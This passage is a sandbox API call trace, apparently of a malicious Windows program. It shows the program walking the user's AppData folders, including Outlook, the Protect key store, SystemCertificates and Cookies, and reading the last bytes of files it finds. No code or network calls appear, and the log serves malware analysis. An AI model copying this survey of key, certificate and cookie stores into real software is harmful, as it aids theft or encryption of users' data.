(in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.725] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.726] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.726] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.727] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.727] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.728] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.728] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0089.729] CloseHandle (hObject=0x26c) returned 1 [0089.729] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.729] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.730] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.731] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.731] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.732] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.732] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.733] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.733] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.734] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.734] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.736] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.739] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.741] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.741] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.741] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.741] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0089.742] CloseHandle (hObject=0x284) returned 1 [0089.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.742] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.743] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.743] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.744] CloseHandle (hObject=0x264) returned 1 [0089.744] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.744] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.744] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.744] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.745] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.745] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0089.745] CloseHandle (hObject=0x284) returned 1 [0089.746] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.746] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0089.746] CloseHandle (hObject=0x284) returned 1 [0089.746] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.747] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.747] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.747] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.029] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.029] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.030] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.030] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.030] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.030] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.031] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.032] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.033] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.033] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.033] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.034] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.034] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.034] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.034] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.034] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.035] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.035] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.035] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0090.036] CloseHandle (hObject=0x264) returned 1 [0090.036] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.036] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.036] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.036] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.037] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.037] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.037] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.037] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.037] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.038] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.089] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.089] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.091] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.092] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.093] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.093] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.093] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.093] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0090.094] CloseHandle (hObject=0x264) returned 1 [0090.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.095] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.095] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0090.095] CloseHandle (hObject=0x264) returned 1 [0090.095] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.095] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0090.095] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.096] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0090.096] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.097] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.097] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.097] CloseHandle (hObject=0x26c) returned 1 [0090.098] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.098] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.098] CloseHandle (hObject=0x26c) returned 1 [0090.099] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.099] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.099] CloseHandle (hObject=0x26c) returned 1 [0090.100] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.100] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.100] CloseHandle (hObject=0x26c) returned 1 [0090.100] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.101] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.101] CloseHandle (hObject=0x26c) returned 1 [0090.101] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.101] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.102] CloseHandle (hObject=0x26c) returned 1 [0090.102] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.102] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.103] CloseHandle (hObject=0x26c) returned 1 [0090.103] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.103] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0090.104] CloseHandle (hObject=0x26c) returned 1 [0090.104] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0090.106] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.108] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.108] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.109] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.109] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x66, 